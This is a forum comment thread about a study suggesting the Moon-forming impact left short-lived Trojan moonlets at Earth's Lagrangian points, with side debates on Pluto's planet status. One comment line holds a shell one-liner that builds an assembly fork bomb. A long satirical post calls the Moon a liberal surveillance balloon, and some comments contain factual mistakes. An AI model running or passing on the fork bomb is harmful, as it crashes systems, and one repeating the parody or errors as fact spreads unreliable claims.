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Earth May Once Have Had Multiple Moons
fyc writes "A new study from NASA's Ames Research Center has suggested that the collision of Earth and a Mars-sized object that created the Moon may also have resulted in the creation of tiny moonlets on Earth's Lagrangian points. 'Once captured, the Trojan satellites likely remained in their orbits for up to 100 million years, Lissauer and co-author John Chambers of the Carnegie Institution of Washington say. Then, gravitational tugs from the planets would have triggered changes in the Earth's orbit, ultimately causing the moons to become unmoored and drift away or crash into the Moon or Earth.'" The longest-lasting of such Trojans could have persisted for a billion years. They would have been a few tens of kilometers in diameter and would have appeared in the sky like bright stars.
In Star Wars when Luke looks up at the sky and sees several moons I always wondered.
But this is scientific proof that the Gospels according to George Lucas are the truth.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
... was one of those old moonlets paying its last visit to earth. If it had left a Langraigian point it could still have orbited very near earth for a long long time until one small nudge put it on the trajectory for that fateful day.
The real headline seems to be:
Post-collision debris from Lunar creation might have persisted a little bit longer than originally thought in these crazy gravitational slots, but no evidence is available to back up this theory, and it sure would be neat-o."
Yay.
FairTax baby!
Having once played a gig to an audience of zero, I can't agree with your logic here. "Appear" doesn't have to be "to" anyone, sadly! At least the moons got to come back the next night. I didn't.
The "Moon": A Ridiculous Liberal Myth 173 days ago
.. the next time you're out in the backyard exercising your Second Amendment rights, the liberals will see it! These satellites are sensitive enough to tell the difference between a Colt .45 and a .38 Special! And when they detect you with a firearm, their computers cross-reference the address to figure out your name, and then an enormous database housed at Berkeley is updated with information about you.
It amazes me that so many allegedly "educated" people have fallen so quickly and so hard for a fraudulent fabrication of such laughable proportions. The very idea that a gigantic ball of rock happens to orbit our planet, showing itself in neat, four-week cycles -- with the same side facing us all the time -- is ludicrous. Furthermore, it is an insult to common sense and a damnable affront to intellectual honesty and integrity. That people actually believe it is evidence that the liberals have wrested the last vestiges of control of our public school system from decent, God-fearing Americans (as if any further evidence was needed! Daddy's Roommate? God Almighty!)
Documentaries such as Enemy of the State have accurately portrayed the elaborate, byzantine network of surveillance satellites that the liberals have sent into space to spy on law-abiding Americans. Equipped with technology developed by Handgun Control, Inc., these satellites have the ability to detect firearms from hundreds of kilometers up. That's right, neighbors
Of course, this all works fine during the day, but what about at night? Even the liberals can't control the rotation of the Earth to prevent nightfall from setting in (only Joshua was able to ask for that particular favor!) That's where the "moon" comes in. Powered by nuclear reactors, the "moon" is nothing more than an enormous balloon, emitting trillions of candlepower of gun-revealing light. Piloted by key members of the liberal community, the "moon" is strategically moved across the country, pointing out those who dare to make use of their God-given rights at night!
Yes, I know this probably sounds paranoid and preposterous, but consider this. Despite what the revisionist historians tell you, there is no mention of the "moon" anywhere in literature or historical documents -- anywhere -- before 1950. That is when it was initially launched. When President Josef Kennedy, at the State of the Union address, proclaimed "We choose to go to the moon", he may as well have said "We choose to go to the weather balloon." The subsequent faking of a "moon" landing on national TV was the first step in a long history of the erosion of our constitutional rights by leftists in this country. No longer can we hide from our government when the sun goes down.
Doesn't sound too far fetched since Earth has Cruithne sharing it's orbit, which in it's own way is a "second moon".
Except that this object isn't sharing the Earth's obit at all. It's in a solar orbit which is similar to the Earth's. In order to call something a "moon" of the Earth it would need to be orbiting the Earth.
Dude, there are hundreds, if not thousands of Pluto sized planetoids. Pluto was discovered first of those objects, and mistakenly thought to be very unique.
Planets are the huge and few main satellites of the sun. It's a category defined entirely by scarcity. There are only 8. Not 8000. Pluto can't be a planet and the hundreds or thousands of larger objects not be, but the fact that there were thousands of similar objects wasn't discovered until after Pluto was added to the planet list. It's just an act of intellectual honesty to note that Pluto is only unique historically for being seen early. But now we know: It's not a major satellite sufficient to be in the planet category. You call this arbitrary, but it's as unarbitrary as anything could be.
What the hell does this have to do with how big a moon is? Any object orbiting a planet is automatically a satellite, any satellite that is naturally occurring is automatically a moon (by some definitions, anyway). Perhaps you should invest in a good dictionary. They are free on the internet.
Thank goodness we don't have to rely on your inane concepts of 'fairness' in celestial bodies for our language needs.
The biggest difference is the mass ratio's between the satellite and it's parent (this goes for planets as well as moons).
If the mass of the satellites starts to approach the mass of the parent then the system will become unstable. The Moon is by far the largest satellite as a percentage of mass anywhere in the solar system. The Pluto-Charon system beats the Earth and Moon but Pluto was downgraded from a planet. For the earth-moon system, the center of mass for the system is still inside the earth. The Pluto-Charon system the center of mass is roughly 1/3 of the way to Charon. The only reason it is stable is because it is so far away.
If the moon was significantly larger (or there was an additional moon of significant size) they system would become unstable and tend to lose satellites until it WAS stable.
Jupiter's moons are so much lighter that Jupiter has an iron gravitational grip on them. Short of a major external disruption (say getting hit by another moon) all of Jupiter's moons are staying put.
if that were the case, there wouldn't be a k/t boundary layer would there?
"In the game of life, someone always has to lose. To me, if life were fair, that someone would always be Oklahoma." -DKR
Quite true. Any "moonlet" if it had been created by the Earth/Thea collision would have bee composed of roughly the same thing as Earth is. The highly increased iridium is a signature of an asteroid and not a terrestrial rock.
"People who think they know everything are very annoying to those of us who do."-Mark Twain
The official deffinition of a planet is:
The IAU therefore resolves that planets and other bodies in our Solar System, except satellites, be defined into three distinct categories in the following way:
(1) A "planet" is a celestial body that: (a) is in orbit around the Sun, (b) has sufficient mass for its self-gravity to overcome rigid body forces so that it assumes a hydrostatic equilibrium (nearly round) shape, and (c) has cleared the neighbourhood around its orbit.
(2) A "dwarf planet" is a celestial body that: (a) is in orbit around the Sun, (b) has sufficient mass for its self-gravity to overcome rigid body forces so that it assumes a hydrostatic equilibrium (nearly round) shape2, (c) has not cleared the neighbourhood around its orbit, and (d) is not a satellite.
(3) All other objects3 except satellites orbiting the Sun shall be referred to collectively as "Small Solar System Bodies".
Footnotes:
1 The eight planets are: Mercury, Venus, Earth, Mars, Jupiter, Saturn, Uranus, and Neptune.
2 An IAU process will be established to assign borderline objects into either "dwarf planet" and other categories.
3 These currently include most of the Solar System asteroids, most Trans-Neptunian Objects (TNOs), comets, and other small bodies.
While a body of insufficient size will not "overcome rigids body forces" or have "cleared the neighbourhood around its orbit" the deffinition doesn't state that it must be at least 2000 km in diameter (which is arbitrary and was a running contender for the deffinition of planet). Infact you could have a very dense but small object (smaller than pluto) meet the deffinition of planet and a very defuse but large object (larger than the earth) NOT meet the deffinition. While size and mass are important, they are not what define a planet.
Since pluto hasn't cleared it's local neighborhood, it is not a planet. In addition, hundreds of pluto sized object HAVE been found in the oort cloud and Kupier Belt. However when a similar object was found orbiting inside Neuptune (Eris I beleive) it only accelerated the redeffinition of planet that was already underway.
This deffinition is actually pretty reasonable based on what types of objects dominate a solar system (excluding the sun) and how they are formed. If you look at the history of where this new deffinition came from you will find that the "devolved" scientists almost made an exception for Pluto but in the end decided to look(ing) at the evidence and following it to where it leads